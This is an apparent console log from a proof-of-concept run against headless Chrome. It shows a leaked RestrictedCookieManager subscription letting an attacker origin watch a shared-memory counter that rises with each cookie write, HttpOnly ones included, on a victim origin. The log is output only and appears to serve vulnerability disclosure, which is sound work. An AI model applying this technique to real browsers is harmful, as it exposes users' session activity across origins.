[*] starting POC server on :8093 [*] launching Chrome (headless, MojoJS enabled) [3545:3545:0529/083802.118949:INFO:CONSOLE:33] "[POC] Attacker origin : http://localhost:8093", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.119018:INFO:CONSOLE:33] "[POC] Victim origin : http://127.0.0.1:8093", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.119063:INFO:CONSOLE:33] "[POC] ", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.120652:INFO:CONSOLE:33] "[POC] [1] GetCookiesString(http://localhost:8093) -> obtain shmem handle", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.136682:INFO:CONSOLE:33] "[POC] shared-memory handle received, base version = 1", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.136951:INFO:CONSOLE:33] "[POC] mapped, current shared version = 1", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.136992:INFO:CONSOLE:33] "[POC] ", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.137025:INFO:CONSOLE:33] "[POC] [2] GetCookiesString(http://127.0.0.1:8093/) -> swap subscription pre-check", source: http://localhost:8093/poc.html (33) [3579:3628:0529/083802.137533:WARNING:services/network/network_service.cc:235] Mojo error in NetworkService: Received bad user message: Incorrect url origin [3545:3545:0529/083802.158142:INFO:CONSOLE:33] "[POC] Mojo pipe closed by network process: true (ReportBadMessage fired; renderer NOT killed)", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.158224:INFO:CONSOLE:33] "[POC] baseline shared version = 1", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.158265:INFO:CONSOLE:33] "[POC] ", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.158314:INFO:CONSOLE:33] "[POC] [ctrl] setting cookie on ATTACKER (http://localhost:8093) -- should NOT increment", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.659557:INFO:CONSOLE:33] "[POC] shared version = 1 delta=0", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.659631:INFO:CONSOLE:33] "[POC] ", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.659673:INFO:CONSOLE:33] "[POC] [3] opening http://127.0.0.1:8093/victim-login (sets HttpOnly cookie)", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.750736:INFO:CONSOLE:33] "[POC] shared version: 1 -> 2 delta=1", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.750802:INFO:CONSOLE:33] "[POC] ", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.750846:INFO:CONSOLE:33] "[POC] ========================================================", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.750885:INFO:CONSOLE:33] "[POC] VULNERABILITY CONFIRMED", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.750930:INFO:CONSOLE:33] "[POC] The leaked RestrictedCookieManager in the network", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.750968:INFO:CONSOLE:33] "[POC] process is subscribed to http://127.0.0.1:8093/ and the", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.751002:INFO:CONSOLE:33] "[POC] attacker-mapped shared-memory counter increments on", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.751038:INFO:CONSOLE:33] "[POC] every (incl. HttpOnly) cookie write to that origin.", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.751070:INFO:CONSOLE:33] "[POC] ========================================================", source: http://localhost:8093/poc.html (33) [3545:3545:0529/083802.751110:INFO:CONSOLE:179] "[POC] DONE", source: http://localhost:8093/poc.html (179)